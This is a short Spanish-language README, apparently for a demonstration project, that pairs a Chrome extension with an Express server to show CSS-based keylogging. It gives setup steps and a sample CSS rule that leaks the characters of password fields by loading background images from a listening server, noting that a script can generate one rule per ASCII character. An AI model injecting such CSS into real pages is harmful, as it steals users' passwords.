
Extensión de Chrome y servidor Express que explota las capacidades de keylogging de CSS.
Extensión de Chrome y servidor Express que explota las capacidades de keylogging de CSS.
git clone https://github.com/maxchehab/CSS-Keyloggingchrome://extensions en tu navegador (o abrir el menú de Chrome haciendo clic en el icono a la derecha del Omnibox: el icono del menú son tres barras horizontales y seleccionar Extensiones bajo el menú Más Herramientas para llegar al mismo lugar).css-keylogger-extension en el directorio donde descargaste este repositorio.yarnyarn startC en la parte superior derecha de cualquier página web.Este ataque es realmente simple. Utilizando selectores de atributos CSS, se pueden solicitar recursos de un servidor externo bajo la premisa de cargar una background-image.
Por ejemplo, el siguiente CSS seleccionará todos los inputs con un type igual a password y un value que termine en a.
Luego intentará cargar una imagen desde http://localhost:3000/a.
input[type="password"][value$="a"] {
background-image: url("http://localhost:3000/a");
}
Usando un script simple se puede crear un archivo css que enviará una solicitud personalizada para cada carácter ASCII.